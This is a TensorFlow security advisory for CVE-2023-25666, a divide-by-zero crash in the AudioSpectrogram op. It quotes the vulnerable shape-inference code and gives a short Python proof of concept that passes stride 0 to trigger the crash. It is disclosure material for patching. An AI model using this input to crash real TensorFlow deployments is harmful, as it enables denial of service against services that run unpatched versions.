## TFSA-2023-008: FPE in AudioSpectrogram 

### CVE Number
CVE-2023-25666

### Impact
version:2.11.0 audio_ops.cc:70

Status SpectrogramShapeFn(InferenceContext* c) { ShapeHandle input; TF_RETURN_IF_ERROR(c->WithRank(c->input(0), 2, &input)); int32_t window_size; TF_RETURN_IF_ERROR(c->GetAttr("window_size", &window_size)); int32_t stride; TF_RETURN_IF_ERROR(c->GetAttr("stride", &stride)); .....[1]

DimensionHandle input_length = c->Dim(input, 0); DimensionHandle input_channels = c->Dim(input, 1);

DimensionHandle output_length; if (!c->ValueKnown(input_length)) { output_length = c->UnknownDim(); } else { const int64_t input_length_value = c->Value(input_length); const int64_t length_minus_window = (input_length_value - window_size); int64_t output_length_value; if (length_minus_window < 0) { output_length_value = 0; } else { output_length_value = 1 + (length_minus_window / stride); .....[2] } output_length = c->MakeDim(output_length_value); }

Get the value of stride at [1], and the used at [2]
```python
import tensorflow as tf

para = {'input': tf.constant([[14.], [24.]], dtype=tf.float32), 'window_size': 1, 'stride': 0, 'magnitude_squared': False}
func = tf.raw_ops.AudioSpectrogram

@tf.function(jit_compile=True)
def fuzz_jit():
   y = func(**para)
   return y

fuzz_jit()
```

### Patches
We have patched the issue in GitHub commit [d0d4e779da0d0f56499c6fa5ba09f0a576cc6b14](https://github.com/tensorflow/tensorflow/commit/d0d4e779da0d0f56499c6fa5ba09f0a576cc6b14).

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1


### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.


### Attribution
This vulnerability has been reported by r3pwnx






